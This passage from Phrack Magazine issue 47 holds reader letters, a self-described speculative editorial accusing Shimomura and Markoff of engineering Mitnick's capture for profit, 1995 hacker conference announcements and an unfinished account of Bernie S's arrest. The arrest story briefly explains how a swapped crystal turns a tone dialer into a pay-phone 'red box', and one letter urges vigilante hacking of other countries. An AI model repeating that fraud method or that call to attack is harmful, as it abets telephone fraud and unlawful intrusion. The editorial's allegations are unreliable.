I'm going to write something about the first anti‑hacker operation in Italy, "Hacker Hunter," in which, incidentally, I got busted. Do you think your some of the old stories from altger and Itapac can be of interest to your readers?

To Robert Clark:

I read "My Bust" and I liked it. I'm not a native english speaker, but I think it was well‑written, plus principally, I felt a pleasant "reader sharing writer's experiences" sensation that can separate a good reading from pure BS. This is expecially true since I've been busted here in Italy, and I've learned that things are more similar around the western world than I would have thought.

The only thing I can't share is your Seattle experience. Maybe the dichotomy good druge/bad drugs has a different meaning for you?

Respect,

Nemo

[Nemo:

Please write as much or as little as you like about the busts in Italy! We have an article this issue about Italy, but any further insights into your experiences, esspecially regarding how busts are carried out in other countries would be greatly appreciated by our readers!

I look forward to reading whatever you can put together!]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Chris,

As a relative neophyte to hacking, one of the problems I come up with a lot is identifying systems I locate scanning. So, I was wondering if Phrack, or any other zine, had ever published a concise guide to clues to help identify unknown systems. If so, could you please let me know what mag, and what issue.

One last thing, are there any internet sites with info of interest to hackers? I know about eff.org and freeside.com and a few others, but nothing really intriguing...any suggestions?

[You will find a good start to identifying strange systems, and in locating sites of interest to hackers in the #Hack FAQ we've printed in this issue. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

For Phrack news, Darkman was busted in Winnipeg City, Canada, for various reasons, but since I knew him personally I wanted to add my two cents. For the record, he was busted for warez and porn as well as hacking into the UoManitoba, and I heard his wife left him because he spent too much time pirating on IRC. He was about 38. He could read fluently in Russign, and I remember one night we discovered some secret KGB documents from the 50's, real science fiction thriller stuff, and he read it to me.

Akalabeth

[It's a drag that your friend was busted, and knowing the Canadian government, the porn part was probably pretty minor shit in a worldly sense.

I'm kinda intrugued by the "KGB Documents" you found. Uh, were these on the net? Did you have a cyrillic character set loaded? How did you read these documents? Were they on paper?

SEND THEM TO PHRACK! :) ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Top 10 Reasons Why I Should Get My Subscription FREE:

(1) I'm a programmer/Analyst for an electric utility company in Texas (ahh, come on ‑ I'm a fellow Texan!)

(2) I've read Phrack for years (loyalty scores points ‑ right?)

(3) I've been involved with compuers since GOD created the PC (I began in late 70's‑early 80's).

(4) I'm *not* a narc (shh, don't tell anybody.)

(5) I *may* have a record (but if I do, it's for minor kind of stuff I'm basically a nice guy).

(6) I don't like the telephone company (you have to admit they're amusing though.)

(7) I know how to get around on the 'net (can't you tell ‑ I have an AOL account <g>.)

(8) I'm a good source of info regarding all types of mainframe and PC programming.

(9) PLEASE....

(10) I'll quit writing dumb letters and trying to be funny.

[David Letterman is in the background throwing up as I'm typing

Don't quit your day job...but I'll send you Phrack anyway. :) ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hey Chris,

I just read your thing in Phrack abou the US being attacked by our so called "allies" and I agree with you 110%! I do believe that we should start some sort of CyberArmy to fight back. I don't think that our government would mind, unless we crashed an economy that they were involved with or something, but hell, they fuck with us, let's fuck with them. And you were saying about phone costs, isn't it possible to just telnet or something over there? And why stop at fighting back against our information agressors, why not fight back against other countries that our government is too chickenshit to fight against? Cuba comes to mind. Well, I hope you reply or something, I really like Phrack, I try to get it whenever I can manage, but I don't have an internet address where I can get files. Keep up the good work.

[Yet another volunteer for the US Cyber Corp! By God, I'll have an army yet. :) ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

==Phrack Magazine==

Volume Six, Issue Forty‑Seven, File 2a of 23

****************************************

Phrack Editorial

What you are about to read is pure speculation on my part. Do not take this to be 100% fact, since most of it is hypothesis. But it sure will make you think twice. "Ever get the feeling you're being cheated?"

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

So...Mitnick was busted.

There certainly are some really odd things regarding the whole mess, especially with regards to the "investigating" being done by

a certain heretofore unheralded "security" professional and

a certain reporter.

One of the first oddities was the way the Mitnick saga suddenly reappeared in the popular media. In February, and seemingly out of nowhere, the ever diligent John Markoff entered the scene with the a groundbreaking story. (Of course this is meant to be sarcastic as hell.) Markoff's story dealt with a near miss by federal authorities trying to apprehend Mr. Mitnick in Seattle about 5 months prior.

Now, if nothing else happened in the whole Mitnick saga, I never would have given this a second thought, but in light of what followed, it really does seem odd. Why would someone write about a subject that is extremely dated of no current newsworthiness? "Our top story tonight: Generalissimo Francisco Franco is still dead."

To be fair, I guess Markoff has had a hard on for Mitnick for ages. Word always was that Mitnick didn't really like the treatment he got in Markoff's book "Cyberpunk" and had been kinda screwing with him for several years. (Gee, self‑proclaimed techie‑journalist writes something untrue about computer hackers and gets harassed...who would have thought.) So it really isn't that odd that Markoff would be trying to stay abreast of Mitnick‑related info, but it certainly is odd that he would wait months and months after the fact to write something up.

But wait, a scant month and a half later, Mitnick gets busted! Not just busted, but tracked down and caught through the efforts of a computer security dude who had been hacked by Mitnick. Breaking the story was none other than our faithful cyber‑newshawk, John Markoff.

"Tsutomo Shimomura, born to an American mother and a Japanese father, thus becan life as he was destined to live it...going in several directions at once. A brilliant neurosurgeon, this restless young man grew quickly dissatisfied with a life devoted solely to medicine. He roamed the planet studying martial arts and particle physics, colelcting around him a most eccentric group of friends, those hard‑rocking scientists The Hong Kong Cavaliers.

"And now, with his astounding jet car ready for a bold assault on the dimension barrier, Tsutomo faces the greatest challenge of his turbulent life...

"...while high above Earth, an alien spacecraft keeps a nervous watch on Team Shimomura's every move..."

Wait a minute...that's Buckaroo Banzai. But the similarities are almost eerie. Security dude by day, hacker tracker by night, ski patrol rescue guy, links to the NSA! WOWOW! What an incredible guy! What an amazing story!

But wait! Let's take a closer look at all of this bullshit, before it becomes so thick all we can see is tinted brown.

Shimomura was supposedly hacked on Christmas Eve by Kevin Mitnick, which set him off on a tirade to track down the guy who hacked his system. Supposedly numerous IP tools were taken as well as "millions of dollars worth of cellular source code."

First off, Shimomura's TAP is available via ftp. Modified versions of this have been floating around for a while. I suppose it's safe to assume that perhaps Tsutomo had modified it himself with further modifications (perhaps even some of the IP/localhost spoofs that the X‑consortium guys were playing with, or maybe other tricks like denial of service and source‑routing tricks...I don't really know, I don't have any such thing authored by Shimomura.)

Secondly, what is all this cellular source code? And why did Shimomura have it? Could it be that this is really just some kind of smokescreen to make it seem like Mitnick did something bad? For those of you who don't know, Tsutomo is friends with Mark Lottor (yes, the OKI experimenter, and CTEK manufacturer.). They have been friends for some time, but I don't know how long. Lottor used to be roommates with, lo and behold, Kevin Poulsen! Yes, that Kevin Poulsen...the guy who before Mitnick was the "computer criminal de jour." Poulsen and Mitnick were no strangers.

It wouldn't be too much of a stretch of the imagination to think that those files were really ROM dumps from phones that Lottor had given Shimomura. It also wouldn't be too much of a stretch to imagine that Mitnick knew Tsutomo, and decided to go poke around, pissing off Tsutomo who knew that he'd been violated by SOMEONE HE ACTUALLY KNEW! (It sure does piss me off much more to get fucked over by someone I know rather than a complete stranger.)

Woah. If any of that is true, what strange bedfellows we have. But wait, it gets better...

Enter John Markoff. Markoff and Tsutomo have obviously known each other for a while. I don't know where they met...but I know they were together at Defcon, maybe at Hope, and probably at the Tahoe Hacker's conference a few years back. (I'd have to go back and look over the group photos to be certain.)

Markoff already has a stake in the Mitnick story, since it was his book, "Cyberpunk" that really gave ol' Kevin some coverage. Now, if Markoff knew that Mitnick had hacked Tsutomo (from Tsutomo's own mouth), then certainly any journalist worth his salt would see possibilities. Gee, what a great concept! A colorful computer security guy tracks down one of the world's most wanted hackers! What a great story! Remember that Stoll Guy?

But in order to get the book publishers really hot, it would take some more press to rejuvinate interest in the Mitnick story. So the first story, months after the fact, is printed.

Meanwhile, Tsutomo is supposedly tracking down Mitnick.

How does one track down a hacker? The legal (and really annoyingly hard way) is to work with other system administrators and establish a trail via tcp connects and eventually back to a dialup, then work with phone companies to establish a trap and trace (which usually takes two or three calls) and then working with local police to get a warrant. Somehow Tsutomo seemingly managed to avoid all this hassle and get a lot done by himself. How? Well, the Air Force OSI managed to track down the British Datastream Cowboy by hacking into the systems he was hacking into the Air Force from. This is the easy way. Hmmm.

I know with a good degree of certainty that Markoff's and Tsutomo's little escapades pissed off a great many people within law enforcement, but I don't know exactly why. If they WERE bumbling around stepping on FBI toes during the course of their litle hunt, certainly the FBI would have threatened them with some kind of obstruction of justice sentence if they didn't stop. Did they?

Well before any of this had begun, Mitnick had been hacking other places too. Guess what? He happened to hack CSCNS, where a certain ex‑hacker, Scott Chasin, runs the security side of things. I remember well over a year ago talking to Chasin about a hacker who had breeched CNS. Discussing his methods, we thought it must be Grok, back from the netherworld, since he was so skilled. The hacker also made claims of being wireless to avoid being traced. (This also fit into the Grok modus operandi...so we just assumed it was indeed Grok and left it at that.) Chasin told the hacker to get off of CNS, and that he could have an account on crimelab.com, if he would only use it for mail/irc/whatever, but with no hacking, and on the agreement that he would leave CSCNS alone.

The agreement was made, but went sour after only a few weeks when the mystery hacker began going after CSCNS again. The Colorado Springs FBI was called in to open an investigation. This was ages ago, but of course, field agencies rarely talk.

Back in the present, Tsutomo goes to help out at the Well, where

a certain admin (pei) was having problems with intruders. This is the same pei who a few months earlier told Winn Schwartau "The Well has no security!" Which Winn reported in his newsletter. (This of course came after Winn's account on the Well was reactvated by an anonymous person who posted several messages about Markoff and signed them "km." DUH!)

So somehow, Tsutomo gets trace information leading back to a cell site in North Carolina. How does a private citizen get this kind of information? Don't ask me! My guess is that the feds said, give us what you know, help us out a bit and don't get in our way. In return, one can surmise that Tsutomo (and Markoff) got to glean more info about the investigation by talking with the feds.

So, Mitnick gets busted, and Tsutomo got to ride around in a car with a Signal Strength Meter and help triangulate Mitnick's cellular activity to his apartment. Woo woo!

After all is said and done, Tsutomo has single handedly captured Mitnick, John Markoff breaks the story on the FRONT PAGE of the New York Times, and every other computer reporter in America continually quotes and paraphrases Markoff's story and research as "God's Own Truth."

Mitnick, on the other hand, gets blamed for:

1) hacking Tsutomo

2) hacking the Well

3) hacking Netcom to get credit cards

4) hacking CSCNS

5) hacking Janet Reno's Cell Phone

6) hacking motorola

7) conversing with foreign nationals

etc..

Let's look at some these charges:

1) Mitnick was not the first (or only) to hack Tsutomo. The San Deigo Supercomputer Center is a target for a lot of people. It's a major Internet center, and there are all kinds of goodies there, and the people who work there are smart guys with nice toys. Sorry, but Mitnick is the scapegoat here.

2) Mitnick was not the first, last, or most recent to hack The Well. Like Pei said, "The Well Has No Security." I know this first hand, since I have an account there. I don't raise a stink about it, because I pay by check, and my email is boring.

3) Mitnick was not the person who got the Netcom credit card file. That file floated around for quite some time. He might have had a copy of it, but so do countless others. Sorry. Wrong again.

4) Mitnick was in CNS. He was not the only one. Thanks for playing.

5) The thought that Mitnick could reprogram a MTSO to reboot upon recognizing a ESN/MIN pair belonging to one specific individual would require that he had hacked the manufacturer of the MTSO, and gotten source code, then hacked the cellular carrier and gotten a full database of ESN/MIN information. Both of these things have been done by others, and Mitnick certainly could have done them too, but I doubt he would have gone to that much trouble to call attention to his actions.

6) Motorola, like EVERY other big‑time computer industry giant has been hacked by countless people.

7) Mitnick reportedly had dealings with foreign nationals, especially one "Israeli" that set the CIA up in arms. Well, sure, if you get on IRC and hang out, you are probably going to talk to people from other countries. If you hang out on #hack and know your stuff, you will probably end up trading info with someone. But, playing devil's advocate, perhaps the person you might be talking to really isn't a 22 year old Israeli student. Maybe he really is a 40 year old Mossad Katsa working in their computer center. Was Mitnick Jewish? Would he do "whatever it takes to help the plight of Jews worldwide?" Could he have been approached to become one of the scores of sayanim worldwide? Sure. But probably not. He'd be too hard to call on for the favors when they would be needed by Mossad agents. So, I have some doubts about this.

Less than a month after the whole bust went down, Markoff and Tsutomo signed with Miramax Films to produce a film and multimedia project based on their hunt for Mitnick. The deal reportedly went for $750,000. That is a fuckload of money. Markoff also gets to do a book, which in turn will become the screenplay for the movie. (Tsutomo commented that he went with Miramax "based on their track record." Whatever the fuck that means.)

Less than a month and they are signed.

Looks to me like our duo planned for all this.

"Hey Tsutomo, you know, if you went after this joker, I could write a book about your exploits! We stand to make a pretty penny. It would be bigger than the Cuckoo's egg!"

"You know John, that's a damn good idea. Let me see what I can find. Call your agent now, and let's get the ball rolling."

"I'll call him right now, but first let me write this little story to recapture the interest of the public in the whole Mitnick saga. Once that runs, they publishers are sure to bite."

Meanwhile Mitnick becomes the fall guy for the world's ills, and two guys methodically formulate a plot to get rich. It worked!

Way to go, guys.

Line Noise

==Phrack Magazine==

Volume Six, Issue Forty‑Seven, File 3 of 22

// // /\

// // //\\

==== // // \\

/\ // // \\ /

//\\ // // // //

// \\/ \\ // //

PART I

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑BEGIN PGP SIGNED MESSAGE‑‑‑‑‑

Phrack Magazine and Computer Security Technologies proudly present:

The 1995 Summer Security Conference

SSSS U U M M M M EEEEE RRRR CCCC OOOO N N S U U MM MM MM MM E R R C O O NN N SSS U U M M M M M M M M EEE RRRR C O O N N N S U U M M M M M M E R R C O O N NN SSSS UUUU M M M M EEEEE R R CCCC OOOO N N

"SUMMERCON"

June 2‑4 1995 @ the Downtown Clarion Hotel in Atlanta, Georgia

This is the official announcement and open invitation to the 1995 incarnation of Summercon. In the past, Summercon was an invite‑only hacker gathering held annually in St. Louis, Missouri. Starting with this incarnation, Summercon is open to any and all interested parties: Hackers, Phreaks, Pirates, Virus Writers, System Administrators, Law Enforcement Officials, Neo‑Hippies, Secret Agents, Teachers, Disgruntled Employees, Telco Flunkies, Journalists, New Yorkers, Programmers, Conspiracy Nuts, Musicians and Nudists.

LOCATION:

The Clarion Hotel is located in downtown Atlanta, 9 miles from Hartsfield International Airport and just a few blocks from the Peachtree Center MARTA Station.

Considering the exorbitant expenses involved with attending other conferences of this type, Rooms at Summercon are reduced to

$65 per night for Single or Double Occupancy

The Clarion Hotel Downtown, Courtland at 70 Houston St., NE, Atlanta, GA 30303

(404) 659‑2660 or (800) 241‑3828 (404) 524‑5390 (fax)

No one likes to pay a hundred dollars a night. We don't expect you to have to. Spend your money on room service, drinks in the hotel bar, or on k‑rad hacker t‑shirts. Remember: Mention that you are attending Summercon in order to receive the discount.

DIRECTIONS

75/85 Southbound ‑ Exit 97 (Courtland). Go 3 blocks south on Courtland then turn left on Houston (John Wesley Dobbs Ave.)

20 East ‑ Exit 75/85 North at International. Turn Left on Courtland at Houston Ave. NE. (aka. John Wesley Dobbs Ave. NE.)

20 West ‑ Exit 75/85 North at International. One block to Courtland and right at Houston Ave. NE. (John Wesley Dobbs Ave. NE.)

Atlanta Airport Shuttle ‑ The Express Bus that leaves from Atlanta's International Airport will drop you off at many hotels in the downtown area, including the Clarion. The shuttle should be no more than 12 dollars. Fares may be paid at the Airport Shuttle in the Ground Transportation area of the Airport Terminal.

MARTA ‑ The Metropolitan Atlanta Rapid Transit Authority (MARTA), is a convenient and inexpensive way to negotiate most of the Atlanta area. Take the MARTA train from the Airport to the Peach Tree Center Station. Walk three blocks down Houston to the intersection of Houston and Courtland. The MARTA fare will be roughly 2 dollars.

Taxis ‑ The average cab fare from Atlanta's Airport to the downtown area is roughly 30 dollars.

CONFERENCE INFO

It has always been our contention that cons are for socializing. "Seekret Hacker InPh0" is never really discussed except in private circles, so the only way anyone is going to get any is to meet new people and take the initiative to start interesting conversations.

Because of this, the formal speaking portion of Summercon will be held on one day, not two or three, leaving plenty of time for people to explore the city, compare hacking techniques, or go trashing and clubbing with their heretofore unseen online companions.

The "Conference" will be held on June 3rd from roughly 11:00 am until 6:00 pm with a 1 hour lunch break from 1:00 to 2:00.

NO VIDEO TAPING WILL BE ALLOWED IN THE CONFERENCE ROOM. Audio Taping and still photography will be permitted.

CURRENT LIST OF SPEAKERS:

Robert Steele ‑ Ex‑Intelligence Agent, Founder and CEO of Open Source Solutions (a private sector intelligence firm)

Topic: Hackers from the Intelligence Perspective

Winn Schwartau ‑ Author of "Information Warfare" and "Terminal Compromise", Publisher of Security Insider Report, and noted security expert

Topic: Electromagnetic Weaponry

Bob Stratton ‑ Information Security Expert from one of America's largest Internet service providers

Topic: The Future of TCP/IP Security

Eric Hughes ‑ Cryptography Expert and founding member of the "Cypherpunks"

Topic: Cryptography, Banking, and Commerce

Annaliza Savage ‑ London‑based Director/Producer

Topic: Discussion of her documentary "Unauthorized Access" (Followed by a public screening of the film)

Chris Goggans ‑ Editor of Phrack Magazine and Summercon M.C.

Topic: introductions, incidentals and a topic which is sure to culminate in an international incident.

(Other Speakers May Be Added ‑ Interested parties may contact scon@fc.net)

COSTS

Since other cons of this type have been charging from 25 to 40 dollars entry fees, we are only charging 10 dollars. Yes, that's correct, TEN (10) dollars in US currency. Money is far too scarce among the hacker community to fleece everyone for money they will probably need to eat with or pay for their hotel rooms.

WHAT TO DO IN ATLANTA:

To attempt to make everyone's stay in Atlanta more exciting, we are contacting local establishments to arrange for special discounts and/or price reductions for Summercon attendees. Information will be handed out regarding these arrangements at the conference.

Atlanta is a happening town.

Touristy Stuff Party Time

The World of Coca‑Cola Buckhead Underground Atlanta The Gold Club Georgia Dome (Baseball?) (Countless Other Clubs and Bars) Six Flags

CONTACTING SUMMERCON SPONSORS

You can contact the Summercon sponsors by several means:

E‑mail: scon@fc.net

WWW: http://www.fc.net/scon.html

Snail Mail: Phrack Magazine

603 W. 13th #1A‑278

Austin, TX 78701

If deemed severely urgent, you can PGP your email with the following PGP key:

‑ ‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: 2.6

mQCNAizMHvgAAAEEAJuIW5snS6e567/34+nkSA9cn2BHFIJLfBm3m0EYHFLB0wEP Y/CIJ5NfcP00R+7AteFgFIhu9NrKNJtrq0ZMAOmiqUWkSzSRLpwecFso8QvBB+yk Dk9BF57GftqM5zesJHqO9hjUlVlnRqYFT49vcMFTvT7krR9Gj6R4oxgb1CldAAUR tBRwaHJhY2tAd2VsbC5zZi5jYS51cw==

=evjv

‑ ‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

See you in Atlanta!

‑‑‑‑‑BEGIN PGP SIGNATURE‑‑‑‑‑

Version: 2.6

iQCVAwUBL4mMEaR4oxgb1CldAQE5dQP+ItUraBw4D/3p6UxjY/V8CO807qXXH6U4 46ITHnRJXWfEDRAp1jwl+lyavoo+d5AJPSVeeFt10yzVDEOb258oEZkIkciBnr7q mUu563/Qq67gBsOWYP7sLdu3KEgedcggkzxtUzPxoVRVZYkHWKKjkG1t7LiT3gQ5 uRix2FrftCY=

=m/Yt

‑‑‑‑‑END PGP SIGNATURE‑‑‑‑‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

UNAUTHORIZED ACCESS

"Unauthorized Access [is] a documentary that tells the story of the computer underground from our side, it captures the hacker world from Hamburg to Los Angeles and virtually everywhere in between."

2600 The Hacker Quarterly

Computers are becoming an integral part of our everyday existence. They are used to store and send a multitude of information, from credit reports and bank withdrawals, to personal letters and highly sensitive military documents. So how secure are our computer systems?

The computer hacker is an expert at infiltrating secured systems, such as those at AT&T, TRW, NASA or the DMV. Most computer systems that have a telephone connection have been under siege at one time or another, many without their owner's knowledge. The really good hackers can reroute the telephone systems, obtain highly sensitive corporate and government documents, download individual's credit reports, make free phone calls globally, read private electronic mail and corporate bulletins and get away without ever leaving a trace.

So who are these hackers? Just exactly WHAT do they do and WHY do they do it? Are they really a threat? What do they DO with the information that they obtain? What are the consequences of their actions? Are hackers simply playing an intellectual game of chess or are hackers using technology to fight back and take control of a bureaucratic system that has previously appeared indestructible?

Unauthorized Access is a documentary that demistifies the hype and propaganda surrounding the computer hacker. Shot in 15 cities and 4 countries, the film hopes to expose the truths of this subculture focusing on the hackers themselves.

Unauthorized Access is a view from inside the global underground.

For a PAL (European) copy send a cheque/postal order for 15 British Pounds or $25 for NTSC (American) standard to:

Savage Productions

Suite One

281 City Road

London EC1V 1LA

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

ACCESS ALL AREAS Hacking Conference

1st ‑ 2nd July, 1995 (Saturday & Sunday) King's College, London, UK

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑WHAT‑IT‑IS‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The first UK hacking conference, Access All Areas, is to be run in London later this year. It is aimed at hackers, phone phreaks, computer security professionals, cyberpunks, law enforcement officials, net surfers, programmers, and the computer underground.

It will be a chance for all sides of the computer world to get together, discuss major issues, learn new tricks, educate others and meet "The Enemy".

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑WHERE‑IT‑IS‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Access All Areas is to be held during the first weekend of July, 1995 at King's College, London. King's College is located in central London on The Strand and is one of the premier universities in England.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑WHAT‑WILL‑HAPPEN‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

There will be a large lecture theatre that will be used for talks by computer security professionals, legal experts and hackers alike. The topics under discussion will include hacking, phreaking, big brother and the secret services, biometrics, cellular telephones, pagers, magstrips, smart card technology, social engineering, Unix security risks, viruses, legal aspects and much, much more.

Technical workshops will be running throughout the conference on several topics listed above.

A video room, equipped with multiple large screen televisions, will be showing various films, documentaries and other hacker related footage.

The conference facilities will also include a 10Mbps Internet link connected to a local area network with various computers hanging off of it and with extra ports to connect your laptop to.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑REGISTRATION‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Registration will take place on the morning of Saturday 1st July from 9:00am until 12:00 noon, when the conference will commence. Lectures and workshops will run until late Saturday night and will continue on Sunday 2nd July from 9:00am until 6:00pm.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑COST‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The price of admission will be 25.00 British pounds (approximately US $40.00) at the door and will include a door pass and conference programme.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ACCOMMODATION‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Accommodation in university halls of residence is being offered for the duration of the conference. All prices quoted are per person, per night and include full English breakfast. (In British pounds)

SINGLE TWIN

WELLINGTON HALL 22.00 16.75

Special prices for British and Overseas university students, holding current student identification, are also available ‑ please call King's Campus Vacation Bureau for details.

All bookings must be made directly with the university. They accept payment by cash, cheque and credit card.

To making a booking call the following numbers...

KING'S CAMPUS VACATION BUREAU

Telephone : +44 (0)171 351 6011

Fax : +44 (0)171 352 7376

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑MORE‑INFORMATION‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

If you would like more information about Access All Areas, including pre‑registration details then please contact one of the following...

Telephone : +44 (0)973 500202

Fax : +44 (0)181 224 0547

Email : info@phate.demon.co.uk

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

D I S T R I B U T E W I D E L Y

*****FIRST CALL FOR PAPERS*****

InfoWarCon '95

A 2 Day International Symposium on Information Warfare

September 7‑8, 1995 Stouffer Concourse Hotel Arlington, VA

Presented by:

National Computer Security Association Winn Schwartau and Interpact, Inc. Robert Steele and OSS, Inc.

CONFERENCE OVERVIEW:

The Information Warfare Conference (InfoWarCon) is our third international conference dedicated to the exchange of ideas, policies, tactics, weapons, methodologies and defensive posture of Information Warfare on a local, national, and global basis.

InfoWarCon will bring together international experts from a broad range of disciplines to discuss and integrate concepts in this rapidly evolving field. Attendees will intensely interact with the speakers and presenters as well as each other to increase each other's understanding of the interrelatedness of the topics.

While there are many interpretations of Information Warfare by different groups, the current working definition we employ is:

Information Warfare is the use of information and informa tion systems as weapons in a conflict where information and information systems are the targets.

Information Warfare is broken down into three categories, and InfoWarCon speakers and attendees will interactively examine them all:

Class I: Personal Privacy. "In Cyberspace You Are Guilty Until Proven Innocent." The mass psychology of information. Privacy versus stability and law enforcement.

Class II: Industrial and Economic Espionage. Domestic and international ramifications and postures in a globally networked, competitive society.

Class III: Global Information Warfare. Nation‑state versus Nation‑state as an alternative to convention warfare, the military perspective and terrorism.

THE CONFERENCE

The conference is designed to be interactive ‑ with extensive interaction between all participants. The preliminary contents and discussions will focus on:

‑ What is Information Warfare?

‑ What Are the Targets?

‑ Protecting the Global Financial Infrastructure

‑ Military Perspectives on InfoWar

‑ InfoWar Vs. Non‑Lethal Warfare

‑ Defending the U.S. Infrastructure

‑ The Intelligence Community and Information

‑ Open Source Intelligence

‑ The Psychology of Information

‑ Privacy Balances

‑ Information As the Competitive Edge

‑ International Cooperation

‑ Denial of Service

‑ Cyber‑Terrorism

‑ Offensive Terrorism

‑ Offensive InfoWar Techniques

‑ Defensive InfoWar Postures

‑ Education and Awareness Training

‑ Corporate Policy

‑ Government Policy

‑ Global Policy

‑ Espionage

‑ Export Controls of Information Flow

‑ The Legal Perspective

‑ The New Information Warriors

Plenary sessions will accommodate all attendees, while break‑out sessions will provide more intimate presentations and interactiv ity on topics of specific interests.

SUBMISSIONS:

Submission for papers are now be accepted. We are looking for excellent speakers and presenters with new and novel concepts of Information Warfare. You may submit papers on the topics listed above, or on others of interest to you, your company or govern ment.

We welcome innovative thought from the private sector, the gov ernment (civilian, military and intelligence) and the interna tional community. Submissions must be received by May 1, 1995, and notification of acceptance will occur by June 1, 1995. Please submit 2‑3 page presentation outlines to:

winn@infowar.com.

All submissions and the contents of InfoWarCon '95 will be in English. If you must submit a hard copy: Fax: 813.393.6361 or snail mail to: Interpact, Inc. 11511 Pine St., Seminole, FL 34642

All submissions and presentation should be unclassified, as they will become Open Source upon submission and/or acceptance.

SPONSORS:

The Information Warfare Symposium is currently choosing sponsors for various functions.

Continental Breakfast, Day 1 and Day 2

Morning Coffee Break, Day 1 and Day 2

Lunch, Day 1 and Day 2

Afternoon Coffee Break, Day 1 and Day 2

Cocktail Party, Day 1

Each Corporate or Organizational sponsor will be included in all promotional materials and Symposium function. For more information, contact Paul Gates at the NCSA. Voice: 717.258.1816 or email: 747774.1326@Compuserve.com.

EXHIBITS:

Limited space is available for table‑top displays for commercial or governmental products, services, educational or other promo tion. For further information, contact Paul Gates at the National Computer Security Association. 717.258.1816

REGISTRATION:

Payment made BEFORE July 1, 1995:

( ) $445.00 NCSA Member/OSS Attendee

( ) $545.00 All others

Payment made AFTER July 1, 1995:

( ) $495.00 NCSA Members/OSS Attendees

( ) $595.00 All others

( ) I'M INTERESTED, but would like more information sent to the address above. Please include a free copy of your 32 page "Information Security Resource Catalog".

( ) I'd like to know more about NCSA on‑site training, security audits and consulting services. Please have someone give me a call.

MAIL OR FAX TO:

National Computer Security Association 10 South Courthouse Avenue Carlisle, PA 17013

Phone 717‑258‑1816 or FAX 717‑243‑8642 EMAIL: 74774.1326@compuserve.com CompuServe: GO NCSAFORUM

Winn Schwartau Interpact, Inc.

Information Security & Warfare

V:813.393.6600 F:813.393.6361

Email: Winn@Infowar.Com

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Ed Cummings, also known to many in cyberspace as "Bernie S" was arrested on March 13th, 1995 for 2 misdemeanors of possession, manufacture and sale of a device to commit Telecommunications fraud charges. He is being held in Delaware County Prison in lieu of $100,000.00 Bail. His story follows.

On the evening of the 13th Bernie S. received a page from his mail drop. Some people he knew from Florida had stopped in at his mail drop thinking it was his address. They were looking to purchase several 6.5 Mhz Crystals. These crystals when used to replace the standard crystal in the RADIO SHACK Hand Telephone dialer, and with some programming, produce tones that trick pay phones into believing they have received coins. These are commonly referred to as "red boxes" and got their name from an actual red box pulled from a pay phone in the late seventies by some curious person.

Ed Cummings met these people at a local 7‑11 (which 7‑11?) where he was to sell the widely used electronic timing crystals for roughly $4 a piece. The purchaser only had two twenty dollar bills and Ed Cummings no change. Ed Cummings went into the 7‑11 to get some change to make the transaction. A police officer noticed a van parked in the parking lot of the 7‑11 with more several African Americans inside. As Ed was leaving the 7‑11 he noticed fifteen police cars pulling into the parking lot of the 7‑11.

